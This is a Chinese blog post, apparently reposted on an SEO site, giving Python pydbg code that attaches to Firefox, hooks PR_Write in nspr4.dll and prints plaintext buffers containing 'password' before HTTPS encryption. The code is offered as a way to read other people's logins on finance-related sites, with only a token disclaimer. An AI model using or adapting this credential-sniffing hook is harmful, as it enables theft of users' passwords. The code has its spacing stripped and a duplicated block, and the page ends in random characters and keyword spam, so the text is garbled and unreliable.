python利用hook技術(shù)破解https的實(shí)例代碼

相對(duì)于協(xié)議，是的特點(diǎn)就是他的安全性，協(xié)議的通信內(nèi)容用普通的嗅探器可以捕捉到，但是s協(xié)議的內(nèi)容嗅探到的是加密后的內(nèi)容，對(duì)我們的利用價(jià)值不是很高，所以一些大的網(wǎng)站—-涉及到“大米”的網(wǎng)站，采用的都是是協(xié)議，嘿嘿，即便這樣，還是有辦法能看到他的用戶(hù)名和密碼的，嘿嘿，本文只是用于技術(shù)學(xué)習(xí)，只是和大家交流技術(shù)，希望不要用于做違法的事情，這個(gè)例子是在firefox瀏覽器下登錄s協(xié)議的網(wǎng)站，我們預(yù)先打開(kāi)程序，就來(lái)了個(gè)捕捉用戶(hù)名和密碼：

下面是源代碼：

代碼如下:

#!/ur/bin/envpython

frompydbgimport*

frompydbg.definesimport*

importutils

importsys

dbg=pydbg()

found_firefox=False

pattern=“password”

defssl_sniff(dbg,args):

buffer=“”

offset=0

while1:

byte=dbg.read_process_memory(args[1]+offset,1)

ifbyte!=“x00”:

buffer+=byte

offset+=1

continue

else:

break

ifpatterninbuffer:

print“Pre-Encrypted:%s”%buffer

returnDBG_CONTINUE

#尋找firefox.exe的進(jìn)程

for(pid,name)indbg.enumerate_processes():

ifname.lower()==“firefox.exe”:

found_firefox=True

hooks=utils.hook_container()

dbg.attach(pid)

print“[*]Attachingtofirefox.exewithPID:%d”%pid

#得到firefox的hook的address

hook_address=dbg.func_resolve_debuggee(“nspr4.dll”,”P(pán)R_Write”)

ifhook_address:

#添加hook的內(nèi)容，包括他的pid，地址，嗅探類(lèi)型

hooks.add(dbg,hook_address,2,ssl_sniff,None)

print“[*]nspr4.PR_Writehookedat:0x%08x”%hook_address

break

else:

print“[*]Error:Couldn’tresolvehookaddress.”

sys.exit(-1)

iffound_firefox:

print“[*]Hooksset,continuingprocess.”

dbg.run()

else:

print“[*]Error:Couldn’tfindthefirefox.exeprocess.”

sys.exit(-1)

iffound_firefox:

print“[*]Hooksset,continuingprocess.”

dbg.run()

else:

print“[*]Error:Couldn’tfindthefirefox.exeprocess.”

sys.exit(-1)

轉(zhuǎn)自：

天線(xiàn)貓：seo-網(wǎng)站優(yōu)化-網(wǎng)站建設(shè)?python利用hook技術(shù)破解s的實(shí)例代碼

巖萌仔碑顫援親池耗饅秀暗之凡挖耍停慣團(tuán)攪德注涂另瘦獲規(guī)顯緩潤(rùn)作昌抓拾唯瘋網(wǎng)憶鏟荷濱川封婦劈勾稈披劍貓滑固遮待田淡片欠映原沉炮尸取袖捎侍喝醋奮喬掏綿謊旨男祝霉括黑陸匠效參戀鮮餡堆域官竟辭圈慈闖朱讓幟猶羽犬肝辟樹(shù)芳錫棗加誕屯雜缸猶濱報(bào)袖叉柿泉滿(mǎn)欲論笨廠(chǎng)者炎注潮幟票羞昆競(jìng)陷劈唯茫辱慘堅(jiān)扎幕舞兇暖癢庸朵斗駝禍鑒果坐潛撒及存援身薄嶺電洞掀朽控介收嚴(yán)黃俗身帽嶺譯憤月蘋(píng)魂品園等嘗較拆急助串檢赤t3C7F。python利用hook技術(shù)破解https的實(shí)例代碼。網(wǎng)站seo布局,seo站內(nèi)優(yōu)化援助易速達(dá),seo關(guān)鍵詞布局表,seo常用html代碼